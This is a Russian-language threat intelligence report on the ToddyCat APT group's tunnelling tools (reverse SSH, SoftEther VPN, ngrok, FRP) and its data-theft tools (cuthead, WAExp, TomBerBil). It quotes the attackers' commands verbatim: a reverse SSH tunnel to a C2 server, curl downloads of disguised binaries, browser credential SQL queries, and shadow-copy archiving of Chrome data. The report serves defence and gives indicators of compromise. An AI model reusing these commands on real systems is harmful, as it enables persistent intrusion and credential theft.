Мы продолжаем рассказывать про деятельность APT-группы ToddyCat. В предыдущей статье мы рассмотрели некоторые инструменты для сбора и эксфильтрации файлов (LoFiSe и PcExter). В этот раз мы исследовали то, каким образом злоумышленники обеспечивают себе постоянный доступ к скомпрометированной инфраструктуре, какая информация на хостах им интересна и с помощью каких инструментов они ее добывают.
ToddyCat — это APT-группа, которая атакует преимущественно государственные организации в Азиатско-Тихоокеанском регионе, в том числе имеющие отношение к оборонному производству. Одна из главных целей группы —кража конфиденциальной информации с хостов.
За время наблюдения мы отметили, что группировка собирает данные в промышленных масштабах. Чтобы собрать столько информации со множества хостов, атакующим необходимо, насколько это возможно, автоматизировать процесс, а также обеспечить несколько альтернативных способов поддержания постоянного доступа к атакуемым системам и наблюдения за ними. Мы решили изучить, как все это реализовано у ToddyCat. Отметим, что все инструменты, о которых пойдет речь в этой статье, используются на этапе, когда у атакующих уже есть скомпрометированные учетные данные пользователей с высокими правами доступа, позволяющие подключаться к удаленным хостам. Подключение, перенос и запуск всех необходимых инструментов на хосты в большинстве случаев осуществлялись с помощью PsExec или инструментов из пакета Impacket.
Инструменты для туннелирования трафика
Для доступа к зараженной инфраструктуре злоумышленники используют несколько туннелей на основе разных инструментов. Это позволяет им сохранять доступ к системам, даже если один из туннелей был обнаружен и устранен. В результате операторы имеют возможность производить разведку и подключаться к удаленным хостам в любой момент.
Обратный SSH туннель
Один из способов получить доступ к удаленным сетевым сервисам — создать обратный SSH-туннель.
Для запуска такого туннеля атакующие используют несколько файлов:
- Клиент SSH из набора утилит OpenSSH для Windows вместе с необходимой для его работы библиотекой.
- Файл с закрытым ключом (OPENSSH PRIVATE KEY).
- Скрипт a.bat для сокрытия файла закрытого ключа.
Для доставки файлов атакующие используют общедоступные ресурсы на целевых хостах по протоколу SMB (T1021.002: Remote Services: SMB/Windows Admin Shares).
Злоумышленники не пытаются скрыть следы клиента SSH в системе. Они не переименовывают файл и размещают его в папках, имена которых указывают на присутствие SSH-клиента:
1 2 3 |
C:\program files\OpenSSH\ssh.exe C:\programdata\sshd\ssh.exe C:\programdata\ssh\ssh.exe |
При этом атакующие копируют файлы с закрытыми ключами, необходимые для подключения к удаленному серверу, по следующим путям:
1 2 3 4 |
C:\Windows\AppReadiness\read.ini C:\Windows\AppReadiness\data.dat C:\Windows\AppReadiness\log.dat C:\Windows\AppReadiness\value.dat |
Обычно файлы приватных ключей для OpenSSH создаются без расширений, но иногда им присваивают расширение .key или похожее. В нашем случае атакующие использовали расширения .ini и .dat — очевидно, чтобы скрыть истинное назначение файлов в системе. Передача через командную строку файлов с этими расширениями выглядит не так подозрительно, как передача файлов без расширения или с расширением .key.
Поместив файлы приватных ключей в папку AppReadiness, атакующие копируют и запускают скрипт a.bat, размещая его во временных директориях или в общей папке пользователей в системе:
1 |
c:\users\public\a.bat |
Этот файл содержит следующие команды:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
@echo off ::# Set Key File Variable: Set Key="C:\Windows\AppReadiness" takeown /f "%Key%" icacls "%Key%" /remove "BUILTIN\Administrators" > "%temp%\a.txt" icacls "%Key%" /remove "Administrators" >> "%temp%\a.txt" icacls "%Key%" /remove "NT AUTHORITY\Authenticated Users" >> "%temp%\a.txt" icacls "%Key%" /remove "CREATOR OWNER" >> "%temp%\a.txt" icacls "%Key%" /remove "BUILTIN\Users" >> "%temp%\a.txt" icacls "%Key%" /remove "Users" >> "%temp%\a.txt" icacls "%Key%" >> "%temp%\a.txt" ::# Remove Variable: set "Key=" |
В операционной системе Windows папка C:\Windows\AppReadiness относится к сервису AppReadiness. В ней хранятся файлы для первоначальной настройки приложений при первом запуске или при первом входе пользователя в систему.
На рисунке выше показаны права доступа к этой папке, установленные по умолчанию:
- у администраторов и системы — полные права;
- у авторизованных пользователей — права только на чтение.
Это значит, что обычные пользователи могут просматривать содержимое этой папки.
Скрипт a.bat выполняет следующее: устанавливает систему как владельца папки и удаляет всех пользователей из списка DACL (discretionary access control list) оставляя только систему. На рисунке ниже показан список DACL для папки C:\Windows\AppReadiness после запуска скрипта:
После изменения прав ни обычные пользователи, ни администраторы не могут получить доступ к этой папке. Попытка ее открыть приводит к ошибке отсутствия прав доступа, как показано на рисунке ниже.
Чтобы запустить туннель, атакующие создают в системе задачу по расписанию, которая выполняет следующую команду:
1 2 3 |
C:\PROGRA~1\OpenSSH\ssh.exe -i C:\Windows\AppReadiness\value.dat -o StrictHostKeyChecking=accept-new -R 31481:localhost:53 systemtest01@103[.]27.202.85 -p 22222 -fN |
Эта команда создает SSH-подключение к порту 22222 удаленного сервера с IP-адресом 103.27.202[.]85 под учетной записью пользователя с именем вида systemtestXX, где ХХ — это число. Это подключение перенаправляет трафик с определенного порта на командном сервере на определенный порт зараженного хоста. Таким образом, приложения, работающие на сервере, могут в любой момент получить доступ к службе на зараженном хосте, слушающей соответствующий порт, отправив запрос на нужный порт на сервере.
На примере выше подключение создается от имени пользователя systemtest01, и перенаправляет сетевые соединения с порта 31481 сервера на порт 53 целевого хоста. Такое соединение, созданное на контроллерах домена, позволяет атакующим получать IP-адреса хостов во внутренней сети через DNS-запросы.
Каждый пользователь отвечает за свой порт на целевом хосте. Например, пользователь с именем systemtest05 отвечает за перенаправление трафика с сервера на порт 445, на котором обычно расположены SMB-службы.
Информация по IP-адресу удаленного сервера представлена в следующей таблице:
IP | Страна + ASN | Название сети | Описание сети | Адрес | |
103.27.202[.]85 | Thailand, AS58955 |
BANGMOD-VPS-NETWORK | Bangmod VPS Network | Bangmod-IDC Supermicro Thailand Powered by CSloxinfo | support@bangmod.co.th |
В целом процесс создания OpenSSH-туннеля можно представить в виде следующей схемы:
SoftEther VPN
Еще один инструмент, с помощью которого атакующие создают туннели, — серверное приложение (VPN Server) из пакета SoftEther VPN.
SoftEther VPN — это решение с открытым кодом, разработанное в университете Цукубы в рамках академического исследования и позволяющее создавать VPN-соединения по многим популярным протоколам, таким как L2TP/IPsec, OpenVPN, MS-SSTP, L2TPv3, EtherIP и другие.
Чтобы запустить VPN-сервер, атакующие использовали следующие файлы:
- vpnserver_x64.exe — файл VPN-сервера, имеющий цифровую подпись.
- hamcore.se2 — файл-контейнер, который содержит необходимые компоненты для запуска файла vpnserver_x64.exe.
- vpn_server.config — файл конфигурации сервера.
В операционной системе файл VPN-сервера может запускаться как сервис или как приложение с пользовательским графическим интерфейсом. Режимы управляются через параметры командной строки.
Почти во всех наблюдаемых случаях, атакующие переименовывали файл vpnserver_x64.exe, чтобы скрыть его назначение в системе. Известны следующие имена и пути этого файла на зараженных хостах:
1 2 3 4 5 6 7 8 9 10 |
c:\programdata\ssh\vmtools.exe c:\programdata\lenovo\lenovo\kln.exe c:\programdata\iobit\iobitrtt\tmp\mstime.exe c:\perflogs\ecache\boot.exe c:\users\public\music\wia.exe c:\users\public\music\taskllst.exe c:\programdata\lenovo\lenovo\main.exe c:\programdata\intel\gcc\gcc\boot.exe c:\programdata\lenovo\lenovodisplaycontrolcenterservice\netscan.exe c:\programdata\kasperskylab\kaspersky.exe |
Интересно, что в некоторых случаях для сокрытия функциональности файла были использованы имена защитных решений.
Файл hamcore.se2 в атакуемых системах не переименовывался, поскольку файл VPN-сервера загружает его по этому имени из папки, в которой находится сам.
Чтобы перенести инструменты на хосты жертвы, атакующие использовали как свою стандартную технику — передачу файлов через общедоступные ресурсы (T1021.002 Remote Services: SMB/Windows Admin Shares), — так и загрузку файлов с зараженных интернет-ресурсов с помощью утилиты curl:
1 2 |
"cmd.exe" /C curl http://www.netportal.or[.]kr/common/css/main.js -o c:\windows\debug\wia\wia.exe > C:\WINDOWS\Temp\vwqkspeq.tmp 2>&1 "cmd.exe" /C curl http://www.netportal.or[.]kr/common/css/ham.js -o c:\windows\debug\wia\hamcore.se2 > C:\WINDOWS\Temp\nohEicOE.tmp 2>&1 |
Мы наблюдали загрузку файлов, связанных с SoftEther VPN, со следующих веб-ресурсов:
URL | Оригинальное имя файла |
hxxp://www.netportal.or[.]kr/common/css/main.js | vpnserver_x64.exe |
hxxp://www.netportal.or[.]kr/common/css/ham.js | Hamcore.se2 |
hxxp://23.106.122[.]5/hamcore.se2 | Hamcore.se2 |
hxxps://etracking.nso.go[.]th/UserFiles/File/111/tasklist.exe | vpnserver_x64.exe |
hxxps://etracking.nso.go[.]th/UserFiles/File/111/hamcore.se2 | Hamcore.se2 |
В большинстве случаев злоумышленники доставляли файл конфигурации на устройство вместе с VPN-сервером. Однако в некоторых случаях они не переносили файл конфигурации на хост, а создавали его с помощью запуска файла vpnserver_x64.exe с ключами /install или /usermode_hidetray, а затем редактировали.
1 2 |
"cmd.exe" /C c:\users\public\music\taskllst.exe /install > C:\Windows\Temp\fnOcaiqm.tmp 2>&1 "cmd.exe" /C c:\users\public\music\taskllst.exe /usermode_hidetray > C:\Windows\Temp\TSwkLRsR.tmp |
В файл конфигурации атакующие добавляли данные для удаленного подключения клиента к серверу и его аутентификационные данные. Ниже представлены соответствующие поля и их значения из конфигурационного файла.
AccountName | Hostname |
ha.bbmouseme[.]com | 118[.]193.40.42 |
В завершение атакующие создавали задачу по расписанию для запуска файла vpnserver_x64.exe с ключом /service.
Ngrok agent и Krong
Еще один способ получить доступ к удаленной инфраструктуре, который использовали злоумышленники, — туннель легального облачного провайдера. Приложение, запущенное на хосте пользователя и имеющее доступ к локальной инфраструктуре, может устанавливать соединение с облачным сервером через легальный агент, перенаправлять трафик и выполнять определенные команды.
В качестве такого агента атакующие выбрали Ngrok agent — легкую программу, которая перенаправляет трафик из конечных точек в облачную инфраструктуру и обратно. Они устанавливают этот агент на зараженный хост и с его помощью перенаправляют трафик из облачной инфраструктуры на определенный порт на хосте.
Агент запускается следующей командой:
1 2 |
"cmd" /c "cd C:\windows\temp\ & Intel.exe tcp --region=ap --remote-addr=1.tcp.ap.ngrok.io:21146 54112 -- authtoken 2GskqGD<token>txB7WyV" |
Порт, на который ngrok перенаправляет трафик из облачной инфраструктуры, прослушивает другой инструмент — Krong. Он представляет собой файл DLL, который загружается при помощи техники DLL Side-Loading (T1574.002 Hijack Execution Flow: DLL Side-Loading) и легитимного приложения с цифровой подписью AVG TuneUp. Этот инструмент через командную строку получает адрес и порт, к которому необходимо ожидать подключение:
1 |
"cmd" /c "cd C:\windows\temp\ & SystemInformation.exe 0.0.0.0 54112" |
Krong представляет собой прокси-сервер, который шифрует передаваемые через него данные с помощью функции XOR:
Это позволяет инструменту скрывать содержимое трафика, чтобы уйти от обнаружения.
FRP-клиент
После создания туннелей с помощью OpenSSH или SoftEther VPN атакующие дополнительно устанавливают на целевых хостах клиент FRP. FRP — это быстрый обратный прокси, написанный на языке Go. Он позволяет открыть доступ из Интернета к локальному серверу, расположенному за NAT или фаерволом. FRP имеет веб-интерфейс для изменения настроек и просмотра статистики подключений.
Для запуска клиента атакующие используют два файла:
- frpc.exe — исполняемый файл клиента FRP
- frpc.toml — файл конфигурации клиента
Атакующие дают файлам произвольные имена. Также они меняют расширение файла конфигурации со стандартного .toml на .ini, как и в случае с файлами закрытых ключей OpenSSH.
После переноса файлов на целевой хост атакующие создают сервис с произвольным именем и со следующей командной строкой:
1 |
c:\windows\debug\tck.exe -c c:\windows\debug\tc.ini |
Эта команда запускает FRP-клиент с конфигурационным файлом tc.ini. После этого все коммуникации с C2 проходят через этот инструмент.
Инструменты для сбора данных
Cuthead
В новой кампании злоумышленники использовали для поиска документов инструмент cuthead. Это название мы взяли из поля file description исполняемого файла. Этот инструмент представляет собой скомпилированный на .NET исполняемый файл, который предназначен для поиска и упаковки файлов в архив. Поиск может осуществляться по заданным расширениям или ключевым словам, встречающимся в имени файла.
Исполняемый файл принимает следующие аргументы:
1 |
fkw.exe <date> <extensions> [keywords] |
- Date — дата последнего изменения файла в формате yyyyMMdd. Инструмент будет искать файлы, измененные не ранее этой даты.
- Extensions — строка без пробелов, в которой указаны расширения файлов, разделенные точкой с запятой.
- Keywords — строка без пробелов, в которой указаны ключевые слова для поиска в именах файлов. Они тоже разделяются точкой с запятой.
Вот пример команды для поиска файлов при помощи cuthead:
1 |
"c:\intel\fkw.exe" 20230626 pdf;doc;docx;xls;xlsx |
В этом примере атакующие искали на хосте все файлы офисных приложений MS Excel, MS Word, а также PDF-файлы, которые изменялись после 26 июня 2023 года.
После запуска инструмент обрабатывает параметры командной строки и начинает рекурсивный поиск файлов в файловой системе на всех доступных дисках (T1005 Data from Local System). При этом из поиска исключаются папки, которые содержат следующие подстроки:
1 2 3 4 5 6 7 |
$ Windows Program Files Programdata Application Data Program Files (x86) Documents and Settings |
Также из поиска исключаются:
- файлы, объем которых превышает 50 Мбайт (52 428 800 байт);
- файлы, чьи расширения не соответствуют указанным в команде;
- файлы, в имени которых не содержится ни одно из слов, если таковые заданы.
Из найденных файлов формируется список, который передается функции создания ZIP-архива (в разных версиях инструмента она называется по-разному, но выполняет одну и ту же задачу), с паролем Unsafe404. Для упаковки файлов используется ICSharpCode SharpZipLib версии 0.85.4.369 (T1560.002 Archive Collected Data: Archive via Library).
Мы нашли несколько модификаций cuthead, в которые были зашиты все необходимые параметры, такие как список расширений и время последнего изменения файлов (обычно злоумышленников интересовали файлы за последние семь дней). Скорее всего, это было сделано для автоматизации поиска.
WAExp для кражи данных WhatsApp
WAExp написан на .NET и предназначен для поиска и сбора файлов локальных хранилищ веб-браузеров, в которых содержатся данные веб-версии приложения WhatsApp (web.whatsapp.com).
Если пользователь использует веб-версию WhatsApp, то в локальном хранилище браузера могут содержаться данные его профиля, данные о чатах, телефонные номера других пользователей этих чатов, а также данные о текущей сессии. Злоумышленники могут получить доступ к этой информации, скопировав файлы локального хранилища браузера.
WAExp принимает следующие аргументы:
1 |
app.exe [check|copy|start] [remote] |
- Check — функция, которая проверяет наличие данных на хосте.
- Copy — функция, которая копирует найденные данные во временную папку.
- Start — функция, которая упаковывает собранные данные в архив.
- Remote — имя удаленного хоста.
При запуске с параметром check инструмент начинает поиск пользовательских папок. Если параметр remote указан в командной строке, то он ищет пользовательские папки по пути «\\[remote]\C$\users\«. Если параметр не задан, то через переменную окружения SystemDrive инструмент получает имя системного диска, в корне которого находится папка Users, где WAExp и будет искать данные. Далее инструмент перебирает все папки в этой директории, за исключением следующих:
1 2 3 4 |
All Users Default User Default Public |
В найденных пользовательских папках WAExp начинает поиск путей по которым расположены хранилища браузеров Chrome и Edge, а также хранилища различных продуктов Mozilla.
Для браузера Chrome инструмент открывает папку <User>\Appdata\local\Google\, а для браузера Edge — папку <User>\Appdata\local\Microsoft\Edge\. В них он по всем внутренним и вложенным папкам ищет директорию со следующим названием:
1 |
https_web.whatsapp.com_0.indexeddb.leveldb |
Для продуктов Mozilla WAExp открывает папку <User>\Appdata\roaming\ и в дочерних папках ищет директорию с именем:
1 |
https+++web.whatsapp.com |
В папке roaming могут находиться несколько директорий продуктов Mozilla, которые могут содержать данные хранилища для сайта web.whatsapp.com. Помимо браузера Firefox, с веб-версией WhatsApp взаимодействует, например, приложение Thunderbird, которое использует плагин для мессенджера.
На рисунке выше можно увидеть результат работы инструмента, запущенного с параметром check. Он показывает, что на хосте обнаружены файлы хранилищ для браузеров Chrome, Edge, Firefox и почтового клиента Thunderbird.
Если инструмент запускается с параметром copy, то все найденные файлы хранилищ данных для сайта web.whatsapp.com будут скопированы во временную папку для хранения:
1 |
C:\Programdata\Microsoft\Default\ |
Последний параметр, который использует инструмент, — это start. Если запустить WAExp с этим параметром, происходит повторный сбор файлов во временную папку, как это описано в функции copy. После этого инструмент упаковывает все данные из этой папки в архив при помощи модуля System.IO.Compression.ZipFile (T1560.002 Archive Collected Data: Archive via Library). Файл архива сохраняется без расширения с именем, состоящим из строки Default, даты и времени создания, по следующему пути:
1 |
C:\Programdata\Microsoft\Default-yyyyMMdd-hhmmss |
После этого временная папка и папки веб-браузеров и других клиентов, в которых хранятся данные сайта web.whatsapp.com, удаляются.
На рисунке выше приведен пример данных, которые инструмент выводит при запуске с параметрами check, copy и start. В данном случае WAExp собирает информацию из папок браузера Chrome. В результате формируется архив, файл и содержимое которого изображены на рисунке ниже.
TomBerBil для кражи паролей из браузеров
Злоумышленников интересует не только сбор данных с хостов, но и получение доступа ко всем веб-сервисам, к которым имеют доступ пользователи. Имея высокие права в системе, они могут попытаться расшифровать данные браузеров, где содержатся файлы cookie и пароли, которые пользователь мог сохранить для автозаполнения форм при аутентификации в веб-сервисах (T1555.003 Credentials from Password Stores: Credentials from Web Browsers).
В открытом доступе есть немало инструментов, которые позволяют расшифровать эти хранилища, например mimikatz. Проблема для злоумышленников заключается в том, что такие инструменты хорошо известны защитным решениям и их появление в инфраструктуре сразу привлекает много внимания.
Чтобы избежать обнаружения, атакующие создали целую серию инструментов на основе разных технологий, предназначенных для одной цели — извлечения cookie-файлов и сохраненных паролей из браузеров Chrome и Edge.
Оба браузера используют для шифрования данных функцию CryptProtectData из DPAPI (Data Protection Application Programming Interface). Эта функция защищает данные с помощью пароля текущего пользователя в системе и специального мастер-ключа шифрования.
Все модификации инструмента TomBerBil действуют по одному принципу. После запуска начинается перечисление всех процессов, запущенных в системе. Инструмент ищет среди них все экземпляры процесса explorer.exe. Затем инструмент определяет пользователя, от имени которого запущены найденные процессы.
На рисунке представлен вариант реализации функции, определяющей пользователя по ID процесса (PID). В этой функции выполняется WMI-запрос к классу Win32_Process для получения объекта со свойством processID, равным переданному в функцию PID. Для полученного объекта вызывается метод GetOwner, который возвращает имя пользователя и имя домена, под которым был запущен процесс. После этого происходит поиск ключа шифрования, который хранится в поле encrypted_key в следующих файлах JSON браузеров:
1 2 3 |
%LOCALAPPDATA%\Google\Chrome\User Data\Local State %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State |
Затем TomBerBil копирует токены найденных процессов, заимствует права пользователей, в контексте которых эти процессы выполняются, и пытается расшифровать мастер-ключ с помощью функции CryptUnprotectData. Для этого инструмент вызывает функцию Unprotect из пакета System.Security.Cryptography.ProtectedData. Эта функция, в свою очередь, вызывает функцию CryptUnprotectData из Windows DPAPI.
На рисунке показан пример вызова функции Unprotect, которой передается массив байтов, полученных из поля encrypted_key. Третьим параметром передается значение DataProtectionScope.CurrentUser. Это означает, что при расшифровке данных будет применен пользовательский контекст вызывающего процесса. Именно для этой цели инструмент заимствует права найденных пользователей.
Если расшифровка проходит успешно, то TomBerBil начинает искать файлы Login Data и \Network\Cookies в следующих папках:
1 2 3 |
%LOCALAPPDATA%\Google\Chrome\User Data\Default %LOCALAPPDATA%\Google\Chrome\User Data\Profile * |
Найденные файлы инструмент копирует во временную папку, после чего открывает их как файлы базы данных SQLite и выполняет следующие запросы:
1 2 |
SELECT origin_url, username_value, password_value FROM logins SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies |
После этого TomBerBil расшифровывает обнаруженные данные с помощью мастер-ключа и сохраняет их в отдельные файлы.
Большинство модификаций инструмента ведут журнал выполняемых действий. Ниже приведен пример журнала, сгенерированного TomBerBil:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
[+] Begin 7/28/2023 1:12:37 PM [+] Current user SYSTEM [*] [5516] [explorer] [UserName] [+] Impersonate user UserName [+] Current user UserName [+] Local State File: C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Local State [+] MasterKeyBytes: 6j<...>k= [>] Profile: C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Default [+] Copy C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Default\Login Data to C:\Windows\TEMP\tmpF319.tmp [+] Delete File C:\Windows\TEMP\tmpF319.tmp [+] Copy C:\Users\UserName\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies to C:\Windows\TEMP\tmpFA1F.tmp [+] Delete File C:\Windows\TEMP\tmpFA1F.tmp [+] Local State File: C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Local State [+] MasterKeyBytes: fv<...>GM= [>] Profile: C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Default [+] Copy C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Default\Login Data to C:\Windows\TEMP\tmpFCB0.tmp [+] Delete File C:\Windows\TEMP\tmpFCB0.tmp [+] Copy C:\Users\UserName\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies to C:\Windows\TEMP\tmpFD5D.tmp [+] Delete File C:\Windows\TEMP\tmpFD5D.tmp [+] Recvtoself [+] Current user SYSTEM [+] End 7/28/2023 1:12:52 PM |
Любопытно, что одна из модификаций мимикрировала под Kaspersky Anti-Virus. Файл этой модификации с именем avpui.exe (T1036.005 Masquerading: Match Legitimate Name or Location) и соответствующими метаданными можно увидеть на рисунке ниже.
Для работы некоторых версий TomBerBil использовались определенные параметры командной строки, как, например, на рисунке ниже.
Помимо использования самого инструмента, мы в некоторых случаях также наблюдали создание теневой копии диска и архивацию файлов из папки User Data с помощью 7zip для последующей эксфильтрации.
1 2 3 |
wmic shadowcopy call create Volume='C:\' "cmd" /c c:\Intel\7z6.exe a c:\Intel\1.7z -mx0 -r \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\<username>\AppData\Local\Google\Chrome\"User Data\" |
Заключение
Мы рассмотрели несколько инструментов APT-группы ToddyCat, которые позволяют атакующим сохранять доступ к целевым инфраструктурам и в автоматическом режиме искать и собирать интересующие их данные. Злоумышленники активно используют различные методы обхода средств защиты, пытаясь замаскировать свое присутствие в системе.
Для защиты вашей инфраструктуры мы рекомендуем добавить в блок-лист на фаерволе ресурсы и IP-адреса облачных сервисов, которые предоставляют услуги туннелирования трафика. Внутри инфраструктуры мы рекомендуем ограничить список разрешенных инструментов для удаленного доступа к хостам. Те же инструменты, которые не используются, следует либо запретить вообще, либо отслеживать их появление внутри инфраструктуры — это может служить хорошим индикатором наличия подозрительной активности. Кроме этого, необходимо требовать от пользователей отказаться от хранения паролей в браузерах. Оно облегчает злоумышленникам доступ к конфиденциальной информации, а если пользователи защищают одними и теми же паролями аккаунты в разных сервисах, то злоумышленники смогут получить доступ к неограниченному количеству данных.
Индикаторы компрометации
Вредоносные файлы
1D2B32910B500368EF0933CDC43FDE0B | WAExp |
5C2870F18E64A14A64ABF9A56F5B6E6B | WAExp |
AFEA0827779025C92CAB86F685D6429A | cuthead |
C7D8266C63F8AECA8D5F5BDCD433E72A | cuthead |
750EF49AFB88DDD52F6B0C500BE9B717 | TomBerBil |
853A75364D76E9726474335BCD17E225 | TomBerBil |
BA3EF3D0947031FB9FFBC2401BA82D79 | Krong |
Легитимные инструменты
4A79A8B1F6978862ECFA71B55066AADD | FRP-клиент |
1F514121162865A9E664C919E71A6F62 | vpnserver_x64.exe |
6F32D6CFAAD3A956AACEA4C5A5C4FBFE | vpnserver_x64.exe |
9DC7237AC63D552270C5CA27960168C3 | ngrok.exe |
34985FAE5FA8E9EBAA872DE8D0105005 | ngrok.exe |
Адреса C2
103.27.202[.]85 | — сервер SSH |
118.193.40[.]42 | — Server from SoftEther VPN |
Ha[.]bbmouseme[.]com | — Server from SoftEther VPN |
URL
hxxp://www.netportal.or[.]kr/common/css/main.js | vpnserver_x64.exe |
hxxp://www.netportal.or[.]kr/common/css/ham.js | Hamcore.se2 |
hxxp://23.106.122[.]5/hamcore.se2 | Hamcore.se2 |
hxxps://etracking.nso.go[.]th/UserFiles/File/111/tasklist.exe | vpnserver_x64.exe |
hxxps://etracking.nso.go[.]th/UserFiles/File/111/hamcore.se2 | Hamcore.se2 |
ToddyCat роет норы в вашей инфраструктуре и крадет секреты